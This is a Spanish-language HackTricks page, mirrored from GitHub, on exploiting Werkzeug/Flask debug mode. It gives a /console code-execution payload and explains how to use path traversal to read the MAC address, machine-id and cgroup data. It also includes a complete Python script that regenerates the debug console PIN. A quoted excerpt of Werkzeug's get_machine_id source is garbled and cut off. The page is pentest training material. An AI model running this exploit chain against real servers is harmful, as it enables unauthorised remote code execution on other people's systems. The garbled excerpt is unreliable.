mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-10 04:08:51 +00:00
167 lines
8.4 KiB
Markdown
167 lines
8.4 KiB
Markdown
# Werkzeug / Flask Debug
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una pentest completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para profundizar, abrir shells y divertirse.
|
|
|
|
{% embed url="https://pentest-tools.com/" %}
|
|
|
|
## RCE de Consola
|
|
|
|
Si la depuración está activa, podrías intentar acceder a `/console` y obtener RCE.
|
|
|
|
```python
|
|
__import__('os').popen('whoami').read();
|
|
```
|
|
|
|
![](<../../.gitbook/assets/image (317).png>)
|
|
|
|
También hay varios exploits en internet como [este](https://github.com/its-arun/Werkzeug-Debug-RCE) o uno en metasploit.
|
|
|
|
## Protegido con PIN - Traversal de Ruta
|
|
|
|
En algunas ocasiones, el endpoint **`/console`** estará protegido por un PIN. Si tienes una **vulnerabilidad de traversal de archivos**, puedes filtrar toda la información necesaria para generar ese PIN.
|
|
|
|
### Exploit de PIN de la Consola Werkzeug
|
|
|
|
Forzar una página de error de depuración en la aplicación para ver esto:
|
|
|
|
```
|
|
The console is locked and needs to be unlocked by entering the PIN.
|
|
You can find the PIN printed out on the standard output of your
|
|
shell that runs the server
|
|
```
|
|
|
|
Un mensaje sobre el escenario de "consola bloqueada" se encuentra al intentar acceder a la interfaz de depuración de Werkzeug, indicando la necesidad de un PIN para desbloquear la consola. Se sugiere explotar el PIN de la consola analizando el algoritmo de generación de PIN en el archivo de inicialización de depuración de Werkzeug (`__init__.py`). El mecanismo de generación de PIN se puede estudiar desde el [**repositorio de código fuente de Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), aunque se recomienda obtener el código del servidor real a través de una vulnerabilidad de traversal de archivos debido a posibles discrepancias de versión.
|
|
|
|
Para explotar el PIN de la consola, se necesitan dos conjuntos de variables, `probably_public_bits` y `private_bits`:
|
|
|
|
#### **`probably_public_bits`**
|
|
|
|
* **`username`**: Se refiere al usuario que inició la sesión de Flask.
|
|
* **`modname`**: Normalmente designado como `flask.app`.
|
|
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Generalmente se resuelve como **Flask**.
|
|
* **`getattr(mod, '__file__', None)`**: Representa la ruta completa a `app.py` dentro del directorio de Flask (por ejemplo, `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Si `app.py` no es aplicable, **intente con `app.pyc`**.
|
|
|
|
#### **`private_bits`**
|
|
|
|
* **`uuid.getnode()`**: Obtiene la dirección MAC de la máquina actual, con `str(uuid.getnode())` traduciéndola a un formato decimal.
|
|
* Para **determinar la dirección MAC del servidor**, se debe identificar la interfaz de red activa utilizada por la aplicación (por ejemplo, `ens3`). En casos de incertidumbre, **filtrar `/proc/net/arp`** para encontrar el ID del dispositivo, luego **extraer la dirección MAC** de **`/sys/class/net/<ID del dispositivo>/address`**.
|
|
* La conversión de una dirección MAC hexadecimal a decimal se puede realizar como se muestra a continuación:
|
|
|
|
```python
|
|
# Ejemplo de dirección MAC: 56:00:02:7a:23:ac
|
|
>>> print(0x5600027a23ac)
|
|
94558041547692
|
|
```
|
|
|
|
* **`get_machine_id()`**: Concatena datos de `/etc/machine-id` o `/proc/sys/kernel/random/boot_id` con la primera línea de `/proc/self/cgroup` después de la última barra inclinada (`/`).
|
|
|
|
<details>
|
|
|
|
<summary>Código para `get_machine_id()`</summary>
|
|
|
|
\`\`\`python def get\_machine\_id() -> t.Optional\[t.Union\[str, bytes]]: global \_machine\_id
|
|
|
|
if \_machine\_id is not None: return \_machine\_id
|
|
|
|
def \_generate() -> t.Optional\[t.Union\[str, bytes]]: linux = b""
|
|
|
|
## machine-id is stable across boots, boot\_id is not.
|
|
|
|
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot\_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
|
|
|
|
if value: linux += value break
|
|
|
|
## Containers share the same machine id, add some cgroup
|
|
|
|
## information. This is used outside containers too but should be
|
|
|
|
## relatively stable across boots.
|
|
|
|
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")\[2] except OSError: pass
|
|
|
|
if linux: return linux
|
|
|
|
## On OS X, use ioreg to get the computer's serial number.
|
|
|
|
try:
|
|
|
|
````
|
|
</details>
|
|
|
|
Al recopilar todos los datos necesarios, el script de explotación puede ejecutarse para generar el PIN de la consola Werkzeug. El script utiliza los `probably_public_bits` y `private_bits` ensamblados para crear un hash, que luego se somete a un procesamiento adicional para producir el PIN final. A continuación se muestra el código Python para ejecutar este proceso:
|
|
```python
|
|
import hashlib
|
|
from itertools import chain
|
|
probably_public_bits = [
|
|
'web3_user', # username
|
|
'flask.app', # modname
|
|
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
|
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
|
]
|
|
|
|
private_bits = [
|
|
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
|
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
|
]
|
|
|
|
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
|
h = hashlib.sha1()
|
|
for bit in chain(probably_public_bits, private_bits):
|
|
if not bit:
|
|
continue
|
|
if isinstance(bit, str):
|
|
bit = bit.encode('utf-8')
|
|
h.update(bit)
|
|
h.update(b'cookiesalt')
|
|
# h.update(b'shittysalt')
|
|
|
|
cookie_name = '__wzd' + h.hexdigest()[:20]
|
|
|
|
num = None
|
|
if num is None:
|
|
h.update(b'pinsalt')
|
|
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
|
|
|
rv = None
|
|
if rv is None:
|
|
for group_size in 5, 4, 3:
|
|
if len(num) % group_size == 0:
|
|
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
|
for x in range(0, len(num), group_size))
|
|
break
|
|
else:
|
|
rv = num
|
|
|
|
print(rv)
|
|
````
|
|
|
|
Este script produce el PIN mediante el hash de los bits concatenados, añadiendo sales específicas (`cookiesalt` y `pinsalt`), y formateando la salida. Es importante tener en cuenta que los valores reales de `probably_public_bits` y `private_bits` deben obtenerse con precisión del sistema objetivo para garantizar que el PIN generado coincida con el esperado por la consola Werkzeug.
|
|
|
|
Si estás en una **versión antigua** de Werkzeug, intenta cambiar el **algoritmo de hash a md5** en lugar de sha1.
|
|
|
|
### Referencias
|
|
|
|
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
|
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
|
|
|
<img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" data-size="original">
|
|
|
|
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecuta una pentest completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la reconstrucción hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
|
|
|
</details>
|